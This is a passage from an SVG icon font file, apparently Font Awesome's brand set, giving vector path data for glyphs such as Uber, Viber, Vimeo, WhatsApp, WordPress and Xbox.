l-101.6 31.7998c-22.1006 6.90039 -22.5 22.1006 4.59961 32.7002l397.4 153.1c18.3994 6.90039 34.5 -4.09961 28.5 -32.1992z" />
    <glyph glyph-name="uber" unicode="&#xf402;" 
d="M414.1 416c18.7002 0 33.9004 -15.2002 33.8008 -33.9004v-380.199c0 -18.7002 -15.2002 -33.9004 -33.9004 -33.9004h-380.1c-18.7002 0 -33.9004 15.2002 -33.9004 34v380.1c0 18.7002 15.2002 33.9004 33.9004 33.9004h380.199zM237.6 56.9004
c74.6006 7.5 129 74.0996 121.5 148.6c-7 69.4004 -65.3994 122.2 -135.1 122.2s-128.1 -52.7998 -135.1 -122.2h94.3994v20.4004c0 3.7998 3.10059 6.7998 6.7998 6.7998h67.9004c3.7998 0 6.7998 -3.10059 6.7998 -6.7998v-67.9004
c0 -3.7998 -3.09961 -6.7998 -6.7998 -6.7998h-67.9004c-3.7998 0 -6.7998 3.09961 -6.7998 6.7998v20.4004h-94.3994c7.5 -74.6006 74.0996 -129 148.699 -121.5z" />
    <glyph glyph-name="uikit" unicode="&#xf403;" 
d="M443.9 320v-256l-225.9 -128l-218 128v214.3l87.5996 -45.0996v-117l133.5 -75.5l135.801 75.5v151l-101.101 57.5996l87.6006 53.1006zM308.6 398.9l-87.3994 -53l-86 47.2998l88.5996 54.7998z" />
    <glyph glyph-name="uniregistry" unicode="&#xf404;" horiz-adv-x="384" 
d="M192 -32c-39.5 0 -76.2002 11.7998 -106.7 32.2002h213.5c-30.5996 -20.4004 -67.2998 -32.2002 -106.8 -32.2002zM102.9 161.1c0 -2.5 0.0996094 -5 0.299805 -7.39941h-103.101c-0.0996094 2.39941 -0.0996094 4.89941 -0.0996094 7.39941v12.4004h102.9v-12.4004z
M123.4 104.1c8.89941 -10.5996 20.0996 -19.0996 33 -24.7998h-138.301c-3.7998 8 -7 16.2998 -9.59961 24.7998h114.9zM105.7 138.8c2 -7.89941 5.2002 -15.3994 9.2002 -22.2998h-109.7c-1.7002 7.2998 -3 14.7002 -3.90039 22.2998h104.4zM102.9 208.1v-17.2998h-102.9
v17.2998h102.9zM102.9 381.3v-4.89941h-102.9v4.89941h102.9zM102.9 416v-2.5h-102.9v2.5h102.9zM102.9 346.7v-7.40039h-102.9v7.40039h102.9zM102.9 242.7v-14.7998h-102.9v14.7998h102.9zM102.9 312v-9.90039h-102.9v9.90039h102.9zM102.9 277.4v-12.4004h-102.9v12.4004
h102.9zM269.1 116.5c4 6.90039 7.10059 14.4004 9.2002 22.2998h104.4c-0.799805 -7.59961 -2.10059 -15 -3.90039 -22.2998h-109.7zM281.1 302.2v9.7998h102.9v-9.7998h-102.9zM281.1 265v12.4004h102.9v-12.4004h-102.9zM281.1 339.3v7.40039h102.9v-7.40039h-102.9z
M281.1 416h102.9v-2.5h-102.9v2.5zM78.0996 5.09961c-11.7998 8.7002 -23.5996 18.7002 -33.1992 29.7002h293.1c-9.5 -11.0996 -20.4004 -21 -32.2002 -29.7002h-227.7zM281.1 376.4v4.89941h102.9v-4.89941h-102.9zM281.1 227.9v14.7998h102.9v-14.7998h-102.9z
M38.7998 42.2998c-6.59961 8.5 -10.5996 17.6006 -15.7998 27.2002h338.9c-5.2002 -9.59961 -11.1006 -18.7002 -17.8008 -27.2002h-305.3zM227.6 79.4004c12.8008 5.59961 24.1006 14.0996 32.9004 24.7998h115c-2.7002 -8.60059 -4.7998 -16.7998 -8.5 -24.7998h-139.4z
M281.1 161.1v12.4004h102.9v-12.4004c0 -2.5 -0.0996094 -4.89941 -0.200195 -7.39941h-103.1c0.299805 2.39941 0.399414 4.89941 0.399414 7.39941zM281.1 190.8v17.2998h102.9v-17.2998h-102.9z" />
    <glyph glyph-name="untappd" unicode="&#xf405;" horiz-adv-x="640" 
d="M401.3 398.1c-79.7998 -160.1 -84.5996 -152.5 -87.8994 -173.199l-5.2002 -32.8008c-1.90039 -12 -6.60059 -23.5 -13.7002 -33.3994l-148.9 -207.8c-7.59961 -10.6006 -20.3994 -16.2002 -33.3994 -14.6006c-40.2998 5 -77.7998 32.2002 -95.2998 68.5
c-5.7002 11.7998 -4.5 25.7998 3.09961 36.4004l148.9 207.899c7.09961 9.90039 16.3994 18 27.1992 23.7002l29.3008 15.5c18.5 9.7998 9.69922 11.9004 135.6 138.9c1 4.7998 1 7.2998 3.59961 8c3 0.700195 6.60059 1 6.30078 4.59961l-0.400391 4.60059
c-0.200195 1.89941 1.2998 3.59961 3.2002 3.59961c4.5 0.0996094 13.2002 -1.2002 25.5996 -10c12.2998 -8.90039 16.4004 -16.7998 17.7002 -21.0996c0.599609 -1.80078 -0.599609 -3.7002 -2.40039 -4.2002l-4.5 -1.10059
c-3.39941 -0.899414 -2.5 -4.39941 -2.2998 -7.39941c0.100586 -2.7998 -2.2998 -3.60059 -6.5 -6.10059zM230.1 411.6c-3.19922 0.800781 -8.19922 1.2002 -6.7998 5.40039c1.2998 4.2998 5.40039 12.2002 17.7002 21.0996c12.4004 8.90039 21.0996 10.1006 25.5996 10
c4.2002 -0.0996094 3.10059 -4.89941 2.80078 -8.19922c-0.300781 -3.60059 3.2998 -3.80078 6.2998 -4.60059c2.59961 -0.700195 2.59961 -3.2998 3.59961 -8c9.10059 -9.2002 17.6006 -17.8994 25.6006 -26.0996c1.2998 -1.40039 1.19922 -3.5 -0.100586 -4.90039
c-15.8994 -16.3994 -29.2998 -30.5996 -40.5 -42.5996c-1 -1 -2.59961 -0.799805 -3.2998 0.5c-6.90039 13.5 -14.2998 28.0996 -22.2002 44c-4.2998 2.5 -6.59961 3.2998 -6.39941 6c0.199219 3 1.09961 6.5 -2.30078 7.39941zM620 41.2998
c7.7002 -10.7002 8.7998 -24.7002 3.40039 -36.5996c-17.7002 -36.6006 -55.4004 -63.7002 -95.7002 -68.6006c-12.9004 -1.5 -25.5 4.10059 -33.1006 14.7002l-148.899 207.9c-7.10059 9.89941 -11.7998 21.3994 -13.7002 33.3994
c-1.59961 9.80078 -2 19.1006 -0.299805 29.8008c1.89941 12 2.7002 6 49 94.7998c0.700195 1.39941 2.59961 1.59961 3.59961 0.5c16.2998 -18 19.2998 -23 30.5 -28.9004c29.7998 -15.7002 43.2002 -20.5996 56.4004 -39.0996z" />
    <glyph glyph-name="ussunnah" unicode="&#xf407;" horiz-adv-x="512" 
d="M156.8 162.9l5.7002 -14.4004h-8.2002c-1.2998 3.2002 -3.09961 7.7002 -3.7998 9.5c-2.5 6.2998 -1.09961 8.40039 0 10c1.90039 2.7002 3.2002 4.40039 3.59961 5.2002c0 -2.2002 0.800781 -5.7002 2.7002 -10.2998zM454.1 144.1
c-2.09961 -13.7998 -5.69922 -27.0996 -10.5 -39.6992l43 -23.4004l-44.7998 18.7998c-5.2998 -13.2002 -12 -25.5996 -19.8994 -37.2002l34.1992 -30.1992l-36.7998 26.3994c-8.39941 -11.7998 -18 -22.5996 -28.7002 -32.2998l24.9004 -34.7002l-28.0996 31.7998
c-11 -9.59961 -23.1006 -18 -36.1006 -25.0996l15.7002 -37.2002l-19.2998 35.2998c-13.1006 -6.7998 -27 -12.0996 -41.6006 -15.8994l6.7002 -38.4004l-10.5 37.4004c-14.2998 -3.40039 -29.2002 -5.2998 -44.5 -5.40039l-1.7998 -38.2998l-1.90039 38.4004
c-15.2998 0.0996094 -30.1992 2 -44.5 5.2998l-10.5996 -37.2998l6.7002 38.1992c-14.6006 3.7002 -28.6006 9.10059 -41.7002 15.8008l-19.2002 -35.1006l15.6006 37c-13 7 -25.2002 15.4004 -36.2002 25.1006l-27.9004 -31.6006l24.7002 34.4004
c-10.7002 9.7002 -20.4004 20.5 -28.7998 32.2998l-36.5 -26.2002l33.8994 29.9004c-7.89941 11.5996 -14.5996 24.0996 -20 37.2998l-44.3994 -18.7002l42.5996 23.2002c-4.7998 12.7002 -8.39941 26.0996 -10.5 39.9004l-51 -9l50.2998 14.1992
c-1.09961 8.5 -1.69922 17.1006 -1.69922 25.9004c0 4.7002 0.199219 9.40039 0.5 14.0996l-55.4004 2.90039l56 2.7998c1.2998 13.1006 3.7998 25.7998 7.5 38.1006l-57.0996 16.0996l58.8994 -10.4004c4 12 9.10059 23.5 15.2002 34.4004l-55.0996 30l58.2998 -24.5996
c6.2998 10.5996 13.5 20.3994 21.5996 29.5996l-49.5 43.5996l53.9004 -38.6992c8.09961 8.59961 17 16.5 26.5996 23.5996l-40 55.5996l45.6006 -51.5996c9.5 6.59961 19.6992 12.2998 30.2998 17.2002l-27.2998 64.8994l33.7998 -62.0996
c10.5 4.40039 21.3994 7.90039 32.7002 10.4004l-12.4004 70.6992l19.5 -69.1992c11 2.09961 22.2998 3.19922 33.7998 3.39941l3.7002 72.2002l3.59961 -72.2002c11.5 -0.200195 22.8008 -1.39941 33.8008 -3.5l19.5996 69.2998l-12.4004 -70.6992
c11.3008 -2.60059 22.2002 -6.10059 32.6006 -10.5l33.8994 62.1992l-27.3994 -65.0996c10.5996 -4.90039 20.7002 -10.7002 30.2002 -17.2002l45.7998 51.7998l-40.1006 -55.8994c9.5 -7.10059 18.4004 -15 26.5 -23.6006l54.2002 38.9004l-49.7002 -43.9004
c8 -9.09961 15.2002 -18.8994 21.5 -29.3994l58.7002 24.7002l-55.5 -30.2002c6.10059 -10.9004 11.1006 -22.2998 15.1006 -34.2998l59.2998 10.3994l-57.5 -16.2002c3.7002 -12.1992 6.2002 -24.8994 7.5 -37.8994l56.2998 -2.7002l-56 -2.7998
c0.299805 -4.60059 0.5 -9.2998 0.5 -14.1006c0 -8.69922 -0.599609 -17.2998 -1.59961 -25.7998l50.6992 -14.2998zM432.3 175.1c0 97.5 -79 176.5 -176.5 176.5s-176.5 -79 -176.5 -176.5s79 -176.5 176.5 -176.5s176.5 79 176.5 176.5zM408.3 175.1
c0 -84.2998 -68.2998 -152.6 -152.6 -152.6s-152.601 68.2998 -152.601 152.6c0 84.3008 68.3008 152.601 152.601 152.601s152.6 -68.2998 152.6 -152.601zM195 207c0 -2.09961 1.2998 -3.7998 3.59961 -5.09961c3.30078 -1.90039 6.2002 -4.60059 8.2002 -8.2002
c2.7998 5.7002 4.2998 9.5 4.2998 11.2002c0 2.19922 -1.09961 4.39941 -3.19922 7c-2.10059 2.5 -3.2002 5.19922 -3.30078 7.69922c-6.5 -6.7998 -9.59961 -10.8994 -9.59961 -12.5996zM154.3 226c0 -2.09961 1.2998 -3.7998 3.60059 -5.09961
c3.5 -1.90039 6.19922 -4.60059 8.19922 -8.2002c2.80078 5.7002 4.30078 9.5 4.30078 11.2002c0 2.19922 -1.10059 4.39941 -3.2002 7c-2.10059 2.5 -3.2002 5.19922 -3.2998 7.69922c-6.5 -6.7998 -9.60059 -10.8994 -9.60059 -12.5996zM135.3 226
c0 -2.09961 1.2998 -3.7998 3.60059 -5.09961c3.2998 -1.90039 6.19922 -4.60059 8.19922 -8.2002c2.80078 5.7002 4.30078 9.5 4.30078 11.2002c0 2.19922 -1.10059 4.39941 -3.2002 7c-2.10059 2.5 -3.2002 5.19922 -3.2998 7.69922
c-6.40039 -6.7998 -9.60059 -10.8994 -9.60059 -12.5996zM340.2 138.1c-8.40039 3 -8.7002 6.80078 -8.7002 15.6006v112.3c-8.2002 -12.5 -14.2002 -18.5996 -18 -18.5996c6.2998 -14.4004 9.5 -23.9004 9.5 -28.3008v-64.2998c0 -2.2002 -2.2002 -6.5 -4.7002 -6.5h-18
c-2.7998 7.5 -10.2002 26.9004 -15.2998 40.2998c-2 -2.5 -7.2002 -9.19922 -10.7002 -13.6992c2.40039 -1.60059 4.10059 -3.60059 5.2002 -6.30078c2.59961 -6.69922 6.40039 -16.5 7.90039 -20.1992h-9.2002c-3.90039 10.3994 -9.60059 25.3994 -11.7998 31.0996
c-2 -2.5 -7.2002 -9.2002 -10.7002 -13.7002c2.39941 -1.59961 4.09961 -3.59961 5.2002 -6.2998c0.799805 -2 2.7998 -7.2998 4.2998 -10.9004h-9.2002c-1.5 4.10059 -5.59961 14.6006 -8.40039 22c-2 -2.5 -7.19922 -9.19922 -10.6992 -13.6992
c2.5 -1.60059 4.2998 -3.60059 5.19922 -6.30078c0.200195 -0.599609 0.5 -1.39941 0.600586 -1.69922h-17.7002c-4.59961 13.8994 -11.4004 27.6992 -11.4004 34.0996c0 2.2002 0.300781 5.09961 1.10059 8.2002c-8.7998 -10.7998 -14 -15.9004 -14 -25
c0 -7.5 10.3994 -28.2998 10.3994 -33.2998c0 -1.7002 -0.5 -3.30078 -1.39941 -4.90039c-9.60059 12.7002 -15.5 20.7002 -18.7998 20.7002h-12l-11.2002 28c-3.7998 9.59961 -5.7002 16 -5.7002 18.7998c0 3.7998 0.5 7.7002 1.7002 12.2002
c-1 -1.2998 -3.7002 -4.7002 -5.5 -7.10059c-0.799805 2.10059 -3.10059 7.7002 -4.60059 11.5c-2.09961 -2.5 -7.5 -9.09961 -11.1992 -13.5996c0.899414 -2.2998 3.2998 -8.09961 4.89941 -12.2002c-2.5 -3.2998 -9.09961 -11.7998 -13.5996 -17.7002
c-4 -5.2998 -5.7998 -13.2998 -2.7002 -21.7998c2.5 -6.7002 2 -7.89941 -1.7002 -14.0996h61.7002c5.5 0 14.2998 -14 15.5 -22c13.2002 16 15.4004 19.5996 16.7998 21.5996h107c3.90039 0 7.2002 1.90039 9.90039 5.7998zM360.3 164.7v101.6
c-9 -12.5 -15.8994 -18.5996 -20.7002 -18.5996c7.10059 -14.4004 10.7002 -23.9004 10.7002 -28.2998v-66.3008c0 -17.5 8.60059 -20.3994 24 -20.3994c8.10059 0 12.5 0.799805 13.7002 2.7002c-4.2998 1.59961 -7.59961 2.5 -9.90039 3.2998
c-8.09961 3.2002 -17.7998 7.39941 -17.7998 26z" />
    <glyph glyph-name="vaadin" unicode="&#xf408;" 
d="M224.5 307.3c1.5 17.6006 4.90039 52.7002 49.7998 52.7002h98.6006c20.6992 0 32.0996 7.7998 32.0996 21.5996v12.3008c0 12.1992 9.2998 22.0996 21.5 22.0996s21.5 -9.90039 21.5 -22.0996v-36.5c0 -42.9004 -21.5 -62 -66.7998 -62h-100.5
c-30.1006 0 -33 -14.7002 -33 -27.1006c0 -1.2998 -0.100586 -2.5 -0.200195 -3.7002c-0.700195 -12.2998 -10.9004 -22.1992 -23.4004 -22.1992s-22.6992 9.7998 -23.3994 22.1992c-0.100586 1.2002 -0.200195 2.40039 -0.200195 3.7002c0 12.2998 -3 27.1006 -33 27.1006
h-100.7c-45.2998 0 -66.7998 19.0996 -66.7998 62v36.5c0 12.1992 9.40039 22.0996 21.5996 22.0996c12.2002 0 21.5 -9.90039 21.5 -22.0996v-12.3008c0 -13.7998 11.4004 -21.5996 32.1006 -21.5996h98.5996c44.7998 0 48.2998 -35.0996 49.7998 -52.7002h0.900391z
M224 -8c-11.5 0 -21.4004 7 -25.7002 16.2998c-1.09961 1.7998 -97.0996 169.5 -98.2002 171.4c-11.8994 19.7002 3.2002 44.2998 27.2002 44.2998c13.9004 0 23.4004 -6.40039 29.7998 -20.2998l66.9004 -117.7l66.9004 117.7c6.5 13.8994 15.8994 20.2998 29.7998 20.2998
c24 0 39.0996 -24.7002 27.2002 -44.2998c-1.10059 -1.7998 -97.1006 -169.601 -98.2002 -171.4c-4.2998 -9.2998 -14.2002 -16.2998 -25.7002 -16.2998z" />
    <glyph glyph-name="viber" unicode="&#xf409;" horiz-adv-x="512" 
d="M444 398.1c42.2002 -36.6992 65.5996 -117.899 49.7998 -246.5c-15.2002 -124.6 -109.1 -136.6 -125.7 -142c-7.19922 -2.2998 -70.2998 -18.0996 -152.5 -11.1992c-9.09961 -10.5 -21.0996 -24.3008 -29.7998 -33.7002
c-15.8994 -17.1006 -25.7002 -33 -42.2998 -27.7998c-13.7998 4.19922 -13 25.0996 -13 25.0996l0.0996094 51.5996h-0.0996094c-120.1 33.8008 -118.4 158.4 -117 224.9s14.2998 120.2 50.9004 156.8c65.7998 60.4004 200.899 52.2998 200.899 52.2998
c114.601 -0.5 166 -37.7998 178.7 -49.5zM457.9 161c13.2998 107.3 -4.90039 180.5 -40.6006 211.1c-10.7998 9.80078 -57.2002 39 -154.1 39.4004c0 0 -114.7 7.5 -170.4 -43c-31 -30.5996 -41.5 -76.0996 -42.5996 -131.6
c-1.10059 -55.5 -7.10059 -161.601 94.7002 -189.801c-0.100586 0 -0.100586 0 0 0c0 0 -0.400391 -78.7998 -0.400391 -85.6992c-0.0996094 -10.5 5.7002 -11 11 -5.7002c16.2002 16.2998 68.2002 79 68.2002 79c69.7002 -4.5 125.2 9.2998 131.2 11.2002
c14 4.5 90.0996 11.0996 103 115.1zM318.9 241.8c0.399414 -8.59961 -12.5 -9.2002 -12.9004 -0.599609c-1.09961 22 -11.4004 32.7002 -32.5996 33.8994c-8.60059 0.5 -7.80078 13.4004 0.699219 12.9004c27.9004 -1.5 43.4004 -17.5 44.8008 -46.2002zM339.2 230.5
c1 42.4004 -25.5 75.5996 -75.7998 79.2998c-8.5 0.600586 -7.60059 13.5 0.899414 12.9004c58 -4.2002 88.9004 -44.1006 87.7998 -92.5c-0.0996094 -8.60059 -13.0996 -8.2002 -12.8994 0.299805zM386.2 217.1c0.0996094 -8.59961 -12.9004 -8.69922 -12.9004 -0.0996094
c-0.599609 81.5 -54.8994 125.9 -120.8 126.4c-8.5 0.0996094 -8.5 12.8994 0 12.8994c73.7002 -0.5 133 -51.3994 133.7 -139.2zM374.9 119v-0.200195c-10.8008 -19 -31 -40 -51.8008 -33.2998l-0.199219 0.299805c-21.1006 5.90039 -70.8008 31.5 -102.2 56.5
c-16.2002 12.7998 -31 27.9004 -42.4004 42.4004c-10.2998 12.8994 -20.7002 28.2002 -30.7998 46.5996c-21.2998 38.5 -26 55.7002 -26 55.7002c-6.7002 20.7998 14.2002 41 33.2998 51.7998h0.200195c9.2002 4.7998 18 3.2002 23.9004 -3.89941
c0 0 12.3994 -14.8008 17.6992 -22.1006c5 -6.7998 11.7002 -17.7002 15.2002 -23.7998c6.10059 -10.9004 2.2998 -22 -3.7002 -26.5996l-12 -9.60059c-6.09961 -4.89941 -5.2998 -14 -5.2998 -14s17.7998 -67.2998 84.2998 -84.2998c0 0 9.10059 -0.799805 14 5.2998
l9.60059 12c4.59961 6 15.7002 9.7998 26.5996 3.7002c14.7002 -8.2998 33.4004 -21.2002 45.7998 -32.9004c7 -5.69922 8.60059 -14.3994 3.80078 -23.5996z" />
    <glyph glyph-name="vimeo" unicode="&#xf40a;" 
d="M403.2 416c24.7002 0 44.7998 -20.0996 44.7998 -44.7998v-358.4c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v358.4c0 24.7002 20.0996 44.7998 44.7998 44.7998h358.4zM377 267.2
c1.90039 42.2002 -13.7998 63.7998 -47.0996 64.7002c-44.9004 1.39941 -75.3008 -23.9004 -91.2002 -76c19.8994 8.5 49.2998 10.7998 45.7998 -22.4004c-1 -11.2002 -8.2998 -27.5 -21.7998 -48.9004c-37.7002 -59.3994 -46.9004 -39.5996 -67.6006 91.6006
c-5.7998 36.8994 -21.2998 54.0996 -46.5 51.7002c-22.2998 -2 -57.8994 -38.4004 -95.1992 -71.2002l15.1992 -19.6006c14.5 10.1006 23 15.2002 25.4004 15.2002c21 0 31.9004 -54.7002 57.4004 -148c13.0996 -34.8994 29 -52.2998 47.8994 -52.2998
c30.4004 0 67.7002 28.5996 111.7 85.7998c42.5996 54.7002 64.5996 97.9004 66 129.4z" />
    <glyph glyph-name="vnv" unicode="&#xf40b;" horiz-adv-x="640" 
d="M104.9 96c-34.1006 0 -46.4004 30.4004 -46.4004 30.4004l-55.9004 111.5s-10.3994 18.0996 10.4004 18.0996h32.7998c10.4004 0 13.2002 -8.7002 18.7998 -18.0996l36.7002 -74.5s5.2002 -13.1006 21.1006 -13.1006c15.8994 0 21.0996 13.1006 21.0996 13.1006
l36.7002 74.5c5.59961 9.5 8.39941 18.0996 18.7998 18.0996h32.7998c20.7998 0 10.4004 -18.0996 10.4004 -18.0996l-55.7998 -111.5s-12.2002 -30.4004 -46.4004 -30.4004h-35.0996zM499.9 96c-34.1006 0 -46.4004 30.4004 -46.4004 30.4004l-55.9004 111.5
s-10.3994 18.0996 10.4004 18.0996h32.7998c10.4004 0 13.2002 -8.7002 18.7998 -18.0996l36.7002 -74.5s5.2002 -13.1006 21.1006 -13.1006c15.8994 0 21.0996 13.1006 21.0996 13.1006l36.7998 74.5c5.60059 9.5 8.40039 18.0996 18.7998 18.0996h32.9004
c20.7998 0 10.4004 -18.0996 10.4004 -18.0996l-55.9004 -111.5s-12.2002 -30.4004 -46.4004 -30.4004h-35.1992zM337.6 256c34.1006 0 46.4004 -30.4004 46.4004 -30.4004l55.9004 -111.5s10.3994 -18.0996 -10.4004 -18.0996h-32.7998
c-10.4004 0 -13.2002 8.7002 -18.7998 18.0996l-36.7002 74.5s-5.2002 13.1006 -21.1006 13.1006c-15.8994 0 -21.0996 -13.1006 -21.0996 -13.1006l-36.7002 -74.5c-5.59961 -9.39941 -8.39941 -18.0996 -18.7998 -18.0996h-32.9004
c-20.7998 0 -10.3994 18.0996 -10.3994 18.0996l55.8994 111.5s12.2002 30.4004 46.4004 30.4004h35.0996z" />
    <glyph glyph-name="whatsapp-square" unicode="&#xf40c;" 
d="M224 325.2c35.2002 0 68.2002 -13.7002 93.2002 -38.7002c24.8994 -24.9004 40.0996 -58 40.0996 -93.2002c0 -72.7002 -60.7002 -131.8 -133.3 -131.8h-0.0996094c-23.7002 0 -46.9004 6.40039 -67.1006 18.4004l-4.7998 2.89941l-49.9004 -13.0996l13.3008 48.5996
l-3.10059 5c-13.2002 20.9004 -20.2002 45.2002 -20.2002 70.1006c0.100586 72.6992 59.2002 131.8 131.9 131.8zM301.5 136.8c3.2998 9.2002 3.2998 17.2002 2.40039 19.1006c-1 1.59961 -3.60059 2.59961 -7.60059 4.59961s-23.5 11.5996 -27.0996 12.9004
c-3.60059 1.2998 -6.2998 2 -8.90039 -2c-2.59961 -3.90039 -10.2002 -12.9004 -12.5 -15.5c-2.2998 -2.7002 -4.59961 -3 -8.59961 -1c-23.2998 11.6992 -38.6006 20.7998 -53.9004 47.0996c-4.09961 7 4 6.40039 11.6006 21.5996
c1.39941 2.60059 0.699219 4.90039 -0.300781 6.90039s-8.89941 21.5 -12.1992 29.4004c-3.2002 7.69922 -6.5 6.69922 -8.90039 6.7998c-2.2998 0.0996094 -5 0.0996094 -7.59961 0.0996094c-2.7002 0 -7 -1 -10.6006 -5c-3.7002 -4 -13.8994 -13.5996 -13.8994 -33.0996
s14.1992 -38.4004 16.1992 -41c2 -2.60059 28 -42.6006 67.7002 -59.7998c25.1006 -10.8008 34.9004 -11.8008 47.5 -9.90039c7.60059 1.09961 23.4004 9.5 26.7002 18.7998zM400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48
v352c0 26.5 21.5 48 48 48h352zM223.9 34.7998c87.3994 0 160.1 71.1006 160.1 158.5c0 42.4004 -18 82.2002 -47.9004 112.2c-30 30 -69.7998 46.5 -112.199 46.5c-87.4004 0 -158.5 -71.0996 -158.601 -158.5c0 -28 7.2998 -55.2998 21.2002 -79.2998l-22.5 -82.2002
l84.0996 22.0996c23.1006 -12.5996 49.2002 -19.2998 75.8008 -19.2998z" />
    <glyph glyph-name="whmcs" unicode="&#xf40d;" 
d="M448 287l-29.0996 -7l-2.2002 -12.0996l20.8994 -18.8008l-10.2998 -20.0996l-28.7998 8.7998l-7.7998 -8.09961l8.7998 -28l-20.4004 -12.1006l-20.6992 21.6006l-11.6006 -3.5l-6.7002 -28.7998l-22.5996 0.299805l-6.7002 28.5l-11.5996 2.89941l-19.4004 -20.3994
l-19.8994 11.5996l8.09961 26.9004l-7.2002 8.59961l-29.5996 -7.5l-10.4004 18.5l20.1006 19.9004l-2.40039 12.0996l-28.7998 7.5l0.299805 21.7002l28.5 7.7998l2.90039 10.4004l-20.7002 21l11 19.0996l28.5 -7.5l8.09961 8.40039l-8.09961 27.7002l19.3994 11
l19.7002 -21l12.1006 3.19922l6.19922 26.4004h22.6006l7 -26.4004l10.7002 -3.19922l21.2998 21l19.0996 -11.6006l-7.5 -28.2002l7.2002 -7.5l29 7.5l10.4004 -19.3994l-20.1006 -20.7002l2.2002 -10.4004l28.5 -8.7998v-21.2998zM328.8 241.8
c31.4004 0 56.7998 25.2998 56.7998 56.7998c0 31.4004 -25.3994 56.8008 -56.7998 56.8008c-31.3994 0 -56.7998 -25.4004 -56.7998 -56.8008c0 -31.3994 25.5 -56.7998 56.7998 -56.7998zM401.1 225.4l46.9004 -14.5v-39.9004l-55.0996 -13.4004l-4.10059 -22.6992
l38.9004 -35.3008l-19.2002 -37.8994l-54 16.7002l-14.5996 -15.2002l16.6992 -52.5l-38.2998 -22.7002l-38.8994 40.5l-21.7002 -6.59961l-12.6006 -54l-42.3994 0.5l-12.6006 53.5996l-21.6992 5.59961l-36.4004 -38.3994l-37.4004 21.7002l15.2002 50.5l-13.7002 16.0996
l-55.5 -14.0996l-19.6992 34.7998l37.8994 37.3994l-4.7998 22.8008l-54 14.0996l0.5 40.9004l53.5 14.6992l5.7002 19.7002l-38.9004 39.4004l20.7002 35.7998l53.5996 -14.0996l15.2002 15.6992l-15.2002 52l36.4004 20.7002l36.7998 -39.3994l22.7002 6.09961l11.5996 52
h42.4004l11.5996 -45.9004l-22.5996 5.90039l-6.2998 1.7002l-3.2998 -5.7002l-11 -19.0996l-3.30078 -5.60059l4.60059 -4.59961l17.2002 -17.4004l-0.300781 -1l-23.7998 -6.5l-6.2002 -1.7002l-0.0996094 -6.39941l-0.200195 -12.9004
c-47.5 -10.3994 -83.2998 -52.7998 -83.2998 -103.5c0 -58.2998 47.2998 -105.7 105.7 -105.7c50.5 0 92.7002 35.4004 103.2 82.8008l13.1992 -0.200195l6.90039 -0.100586l1.59961 6.7002l5.60059 24l1.89941 0.600586l17.1006 -17.8008l4.7002 -4.89941l5.7998 3.39941
l20.3994 12.1006l5.80078 3.5l-2 6.5z" />
    <glyph glyph-name="wordpress-simple" unicode="&#xf411;" horiz-adv-x="512" 
d="M256 440c136.7 0 248 -111.2 248 -248c0 -136.7 -111.3 -248 -248 -248s-248 111.3 -248 248c0 136.8 111.3 248 248 248zM33 192c0 -88.2002 51.2998 -164.5 125.7 -200.7l-106.4 291.4c-12.3994 -27.7002 -19.2998 -58.4004 -19.2998 -90.7002zM256 -31
c26 0 50.9004 4.5 74 12.5996c-0.599609 1 -1.09961 2 -1.59961 3.10059l-68.5 187.8l-66.9004 -194.4c20 -5.89941 41.0996 -9.09961 63 -9.09961zM286.7 296.5l80.7002 -239.6l22.1992 74.2998c9.7002 30.8994 17 53 17 72.0996c0 27.6006 -9.89941 46.7002 -18.3994 61.5
c-11.2998 18.4004 -21.9004 33.9004 -21.9004 52.2998c0 20.5 15.5 39.6006 37.4004 39.6006c1 0 1.89941 -0.100586 2.89941 -0.200195c-39.6992 36.2998 -92.5996 58.5 -150.6 58.5c-77.9004 0 -146.4 -40 -186.3 -100.5
c5.2998 -0.200195 10.2002 -0.299805 14.3994 -0.299805c23.3008 0 59.4004 2.7998 59.4004 2.7998c12 0.700195 13.4004 -17 1.40039 -18.4004c0 0 -12.1006 -1.39941 -25.5 -2.09961l81.1992 -241.5l48.8008 146.3l-34.7002 95.2002
c-12 0.700195 -23.4004 2.09961 -23.4004 2.09961c-12 0.700195 -10.5996 19.1006 1.40039 18.4004c0 0 36.7998 -2.7998 58.7002 -2.7998c23.2998 0 59.3994 2.7998 59.3994 2.7998c12 0.700195 13.4004 -17 1.40039 -18.4004c0 0 -12.1006 -1.39941 -25.5 -2.09961z
M368.1 -0.700195c66.3008 38.6006 110.9 110.4 110.9 192.7c0 38.7998 -9.90039 75.2002 -27.2998 107c1 -7.09961 1.5 -14.7002 1.5 -22.9004c0 -22.6992 -4.2998 -48.0996 -17 -79.8994z" />
    <glyph glyph-name="xbox" unicode="&#xf412;" horiz-adv-x="512" 
d="M369.9 129.8c44.2998 -54.2998 64.6992 -98.7998 54.3994 -118.7c-7.89941 -15.0996 -56.7002 -44.5996 -92.5996 -55.8994c-29.6006 -9.2998 -68.4004 -13.2998 -100.4 -10.2002c-38.2002 3.7002 -76.8994 17.4004 -110.1 39
c-27.9004 18.2002 -34.2002 25.7002 -34.2002 40.5996c0 29.9004 32.9004 82.3008 89.2002 142.101c32 33.8994 76.5 73.7002 81.3994 72.5996c9.40039 -2.09961 84.3008 -75.0996 112.301 -109.5zM188.6 304.2c-66.3994 -81.5 -106 -155.4 -120.3 -194.4
c-9.7998 -26.5 -13.7002 -53 -9.5 -64c2.7998 -7.39941 0.200195 -4.7002 -9.2998 9.90039c-23.2002 35.5 -34.9004 70.3994 -40.5 120.899c-1.90039 16.7002 -1.2002 26.3008 4.2002 60.5c6.7998 42.7002 31.0996 92 60.2998 122.4
c12.4004 12.9004 13.5 13.2002 28.7002 8.09961c28.2998 -9.5 56.7002 -36.5 86.3994 -63.3994zM500.2 240.7c4.7002 -22.6006 5.09961 -70.9004 0.799805 -93.4004c-3.59961 -18.5 -11.2002 -42.5 -18.5996 -58.7002c-5.5 -12.1992 -19.3008 -35.7998 -25.4004 -43.5
c-3.09961 -3.89941 -3.09961 -3.89941 -1.40039 4.60059c2.30078 11.2002 -0.599609 31.5996 -7.39941 52.2998c-20.7002 62.9004 -80.5 149 -122.9 202.3c23.2998 21.4004 41 38.2998 64.2998 52.7998c11.8008 7.40039 28.7002 13.9004 36 13.9004
